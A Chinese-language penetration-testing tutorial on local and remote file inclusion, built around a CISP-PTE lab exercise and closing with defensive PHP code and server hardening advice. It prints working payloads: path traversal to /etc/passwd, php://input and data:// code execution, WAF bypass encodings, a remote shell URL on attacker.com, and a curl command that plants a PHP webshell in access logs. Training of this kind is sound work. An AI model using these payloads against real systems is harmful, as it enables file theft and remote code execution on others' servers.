1. 项目概述:从靶场到实战的文件包含漏洞演练
在渗透测试工程师的成长路径上,CISP-PTE认证是一个绕不开的里程碑。它不仅仅是一张证书,更是一套系统化的实战能力评估体系。今天,我们不谈枯燥的理论,直接上手“基础题目三:文件包含”。文件包含漏洞,听起来简单,却是Web安全中极具迷惑性和危害性的一个点。很多新手在靶场里感觉“秒破”,一到真实环境就束手无策,问题往往出在对漏洞原理和利用场景的理解深度不够。这个练习篇,我将带你超越简单的“../../etc/passwd”,深入理解本地文件包含与远程文件包含的差异、在各种编程语言环境下的利用技巧、以及如何绕过常见的防御机制。我们会从一个靶场题目出发,拆解其背后的逻辑,并延伸到真实渗透测试中可能遇到的复杂情况,目标是让你不仅会做题,更能形成一套应对此类漏洞的实战方法论。
2. 文件包含漏洞核心原理与分类解析
2.1 漏洞产生的根本原因:不安全的动态包含
文件包含漏洞的本质,是应用程序在引入外部文件时,未对用户可控的输入进行严格的过滤和验证。开发人员为了代码的复用性和灵活性,常常会使用诸如PHP中的include()、require(),JSP中的<%@ include file="..." %>,或者ASP中的<!--#include file="..." -->等函数或指令。当这些包含文件的路径参数(例如?file=header.php)直接或间接地来自用户输入(GET、POST、Cookie等)时,漏洞便产生了。
这里的关键在于“信任边界”的突破。程序逻辑本意是包含一个预设的、相对安全的文件(如header.php、footer.inc)。但攻击者通过构造特殊的路径参数,可以“指导”程序去包含任意文件,甚至是系统敏感文件或远程服务器上的恶意脚本。这相当于攻击者获得了在Web应用程序上下文下的部分文件读取甚至代码执行权限。
2.2 本地文件包含与远程文件包含的深度对比
理解LFI和RFI的区别,是有效利用漏洞的前提。很多人只知道概念,但说不清在实战中如何判断和选择利用方式。
本地文件包含:顾名思义,只能包含服务器本地的文件。它的利用通常依赖于读取敏感信息或结合其他漏洞实现代码执行。
- 典型利用:读取系统配置文件(
/etc/passwd,/etc/shadow),Web应用配置文件(config.php,web.config),日志文件等。 - 关键点:LFI能否成功执行代码,取决于能否将恶意代码写入一个服务器本地可访问的文件中。这常常需要结合文件上传、日志注入、Session文件污染等“二次利用”技巧。例如,通过LFI包含Apache的访问日志(
/var/log/apache2/access.log),并在User-Agent中插入PHP代码,一旦日志被包含,代码就会被执行。
远程文件包含:这是更危险的一种情况,程序允许包含来自远程服务器(如http://attacker.com/shell.txt)的文件。包含的远程文件内容会被当作脚本代码在目标服务器上执行。
- 前置条件:RFI能否发生,通常取决于服务器配置。在PHP中,需要
allow_url_fopen或allow_url_include配置项为On。在现代PHP版本和安全意识提升的背景下,纯粹的RFI已较少见,但仍是重要的检查项。 - 利用方式:直接、粗暴。攻击者只需在可控的服务器上放置一个恶意脚本,然后诱导目标应用包含该脚本的URL即可获得WebShell。
注意:在实际渗透测试中,遇到纯RFI的几率在降低,但LFI无处不在。很多高风险的漏洞利用链,起点往往是一个不起眼的LFI。
2.3 靶场环境与真实环境的思维转换
做CISP-PTE或DVWA、Metasploitable2这类靶场题目时,环境是已知的、漏洞是明显的。例如,题目可能直接给出?page=include.php这样的参数。你的任务就是尝试../../../../etc/passwd。
但在真实黑盒测试中,你需要:
- 发现包含点:通过爬虫、目录扫描、参数分析,寻找像
file,page,template,path这类可能用于文件包含的参数。 - 判断漏洞类型:通过返回的错误信息、延时测试(尝试包含一个不存在的远程URL看是否超时)或直接测试简单LFI路径,初步判断是LFI还是潜在的RFI。
- 评估利用价值:即使确认LFI,也要评估能读到什么。是只能读静态文本,还是能结合其他点执行代码?这决定了漏洞的严重等级。
3. 核心利用技巧与绕过方法实战
3.1 路径遍历与空字节截断
这是最经典的LFI利用技术,用于突破目录限制。
../遍历:使用../../向上返回目录。需要根据Web根目录的深度灵活调整层数。例如,?file=../../../../etc/passwd。- 空字节截断:主要针对旧版本PHP(<5.3.4)。当代码在包含路径后拼接了固定后缀(如
.php)时,可以利用。例如,代码是include($_GET['file'] . '.php');,那么传入?file=../../etc/passwd%00,%00(空字节)会告诉PHP字符串在此结束,后面的.php被忽略,从而成功包含/etc/passwd。这是一个重要的历史知识点,虽然现代环境少见,但PTE考试或老旧系统审计时仍需留意。
3.2 利用PHP封装协议实现高级利用
当简单的路径遍历被过滤时,PHP丰富的封装协议是我们的“神兵利器”。它们提供了访问各种输入/输出流的接口。
php://filter(最常用):用于读取文件源码,特别是当包含的文件被直接执行导致看不到源代码时。- 读取PHP源码:
?file=php://filter/read=convert.base64-encode/resource=config.php。这会将config.php的内容进行Base64编码后输出,解码即可获得源代码,避免了直接包含执行。 - 原理:
php://filter是一种元封装器,可以对数据流进行过滤处理。convert.base64-encode过滤器将文件内容编码,这样PHP引擎就不会将其作为代码执行,而是当作普通文本输出。
- 读取PHP源码:
php://input(执行代码):允许你读取POST请求的原始数据作为代码执行。需要allow_url_include=On。- 利用方式:
这会将POST体中的PHP代码在服务器上执行。GET /vuln.php?file=php://input HTTP/1.1 ... POST数据:<?php system('id'); ?>
- 利用方式:
data://(执行代码):类似RFI,但数据直接内嵌在URI中。- 利用方式:
?file=data://text/plain,<?php phpinfo();?>或?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(Base64编码版)。同样需要allow_url_include=On。
- 利用方式:
3.3 日志文件注入与包含
这是一种经典的“LFI to RCE”技术链。思路是:将PHP代码写入到某个服务器一定会写入的本地文件(如日志),然后通过LFI去包含这个日志文件。
- 寻找可写的日志路径:常见的有Web服务器访问日志(
/var/log/apache2/access.log,/var/log/nginx/access.log)、错误日志,或者SSH登录日志(/var/log/auth.log)。 - 注入代码:通过HTTP请求,将代码写入日志。最方便的是修改
User-Agent头,因为很多日志格式会记录它。例如,使用curl:curl -A "<?php system($_GET['c']);?>" http://target.com/。 - 包含日志文件:通过LFI漏洞包含这个日志文件:
?file=/var/log/apache2/access.log。 - 执行命令:如果注入成功,包含日志文件就相当于执行了其中的PHP代码。此时可以传递参数执行命令:
?file=/var/log/apache2/access.log&c=id。
实操心得:日志文件通常很大,直接包含可能导致超时或内存耗尽。一个技巧是,在注入代码后,立即发送大量正常请求,将你的恶意请求“挤”到日志文件末尾,这样包含时更容易快速定位和执行。另外,务必注意日志文件的权限,Web进程必须有读权限。
3.4 绕过常见过滤与WAF规则
现代应用和WAF会对../,php://等关键词进行过滤。我们需要一些绕过技巧:
- 编码绕过:
- URL编码:
../->%2e%2e%2f或..%2f - 双重URL编码:
../->%252e%252e%252f(某些过滤逻辑只解码一次) - Unicode编码:在某些上下文中可能有效。
- URL编码:
- 路径拼接绕过:如果过滤了
../,但没过滤绝对路径,可以尝试直接使用绝对路径,如/etc/passwd。 - 超长路径绕过:使用过多的
./或/,例如....//....//....//etc/passwd,某些简单的正则过滤可能无法正确处理。 - 协议混淆:
php://filter可以写作PhP://FilTer,利用大小写混淆。或者使用php:/.//filter等变形。 - 利用已知文件:如果不允许跳出目录,可以尝试包含Web目录内的敏感文件,如
./config.php.inc,./.git/config等。
4. 在CISP-PTE及实战中的综合应用流程
4.1 靶场题目标准解题思路
面对一个文件包含靶场题,我通常遵循以下步骤,这同样适用于CTF比赛:
- 参数定位与基础测试:找到包含参数,尝试
?file=index.php看是否正常,再尝试?file=../../../../etc/passwd验证基础LFI。 - 后缀处理探测:查看页面源代码或尝试包含一个不存在的文件,观察错误信息,判断是否自动添加了后缀(如
.php,.inc)。如果有,准备使用空字节或利用过滤器。 - 协议利用尝试:尝试
php://filter读取关键源码(如index.php本身),分析其过滤逻辑。尝试php://input或data://测试RFI条件。 - 信息收集与扩大战果:利用LFI读取
/proc/self/environ(环境变量,可能包含密钥)、/etc/hostname、Web服务器配置文件等,获取更多系统信息。 - 升级到RCE:如果可能,尝试日志注入、包含
/proc/self/fd/[数字](文件描述符,有时包含请求数据),或寻找上传点上传图片马再包含。
4.2 真实渗透测试中的进阶利用链
实战中,文件包含很少孤立存在。它常常是攻击链的一环。
- 场景一:结合文件上传。这是一个黄金组合。应用允许上传图片,但对文件内容检查不严(仅检查MIME类型或后缀)。攻击者上传一个包含PHP代码的图片文件(如
shell.jpg.php或利用Exif信息注入),然后通过LFI漏洞包含这个上传文件的路径,实现RCE。 - 场景二:包含临时文件。PHP在处理文件上传时,会先创建一个临时文件。通过精心构造请求和竞争条件,有可能在临时文件被删除前,通过LFI包含并执行它。这技术要求较高,但隐蔽性强。
- 场景三:包含Session文件。PHP的Session数据通常存储在服务器临时目录的文件中(如
/tmp/sess_[sessionid])。如果Session内容用户部分可控(例如,将数据存入$_SESSION['data']),就可以通过LFI包含自己的Session文件来执行代码。需要先获取或预测Session ID。
4.3 自动化工具与手动测试的平衡
对于文件包含漏洞,完全依赖自动化扫描器(如Burp Suite的Active Scan)可能会遗漏很多深度利用点。我的建议是:
- 用工具做初筛:使用爬虫和扫描器快速找出可能存在包含漏洞的参数点。
- 手动验证与深入:对每一个可疑点进行手动测试。重点测试过滤规则,尝试各种协议和绕过技巧。
- 使用定制化字典:在Intruder或自定义脚本中,使用一个精心准备的LFI/RFI测试字典,包含各种协议、路径遍历、编码变体和已知的敏感文件路径。
- 关注错误信息:不同的错误信息(“文件不存在”、“包含失败”、“警告:include”)是判断过滤逻辑和服务器环境的宝贵线索。
5. 防御策略与安全开发建议
理解了攻击,才能更好地防御。作为渗透测试工程师,我们不仅要会挖洞,更要能提出切实可行的修复方案。
5.1 白名单机制:最有效的防御
绝对不要使用黑名单过滤!这是安全开发的铁律。对于文件包含,最可靠的方法是采用白名单。
// 不安全的做法 $page = $_GET['page']; include($page . '.php'); // 安全的做法 $allowed_pages = array('home', 'about', 'contact'); $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); } else { include('error.php'); }如果业务必须动态包含,也应将映射关系存储在数组中,由用户传入键名而非直接路径。
5.2 路径固定与规范化
- 固定目录:设置一个专门的包含文件目录(如
./includes/),所有被包含的文件都必须位于此目录下。 - 路径规范化:在使用输入参数前,使用
realpath()函数解析绝对路径,并使用strpos()检查解析后的路径是否以白名单目录开头。$base_dir = '/var/www/html/includes/'; $user_path = $_GET['file']; $real_path = realpath($base_dir . $user_path); if ($real_path !== false && strpos($real_path, $base_dir) === 0) { include($real_path); } else { die('Invalid file path.'); }
5.3 服务器安全配置
- 关闭危险配置:在PHP生产环境中,务必在
php.ini中设置allow_url_fopen = Off和allow_url_include = Off。这是杜绝RFI的最直接手段。 - 限制PHP执行权限:通过Web服务器配置,限制特定目录(如上传目录)不能执行PHP脚本。
- 最小权限原则:运行Web服务的进程账户(如
www-data,nginx)应仅拥有必要文件的最小读权限,避免其读取/etc/shadow等关键系统文件。
5.4 代码审计与漏洞挖掘视角
在代码审计时,应全局搜索include,require,include_once,require_once,fopen,file_get_contents等函数,检查其参数是否用户可控,是否经过严格校验。特别注意那些拼接了目录或后缀的变量。同时,也要关注模板引擎的引入方式,某些模板的渲染函数也可能存在类似问题。
文件包含漏洞的练习,是从一个简单的参数测试到一套完整渗透思维构建的过程。它考验的不是你对某个Payload的记忆,而是你对Web应用运行机制、服务器环境、编程语言特性以及攻击链构造的综合理解。在CISP-PTE的考场上,这类基础题目是送分题;但在真实的网络攻防战场上,对它的深入理解和灵活运用,可能就是打开内网大门的第一把钥匙。多动手搭建靶场环境,尝试各种绕过技巧,并思考如何从防御者的角度去编写更安全的代码,这种双向的思维训练,才是提升安全能力的核心。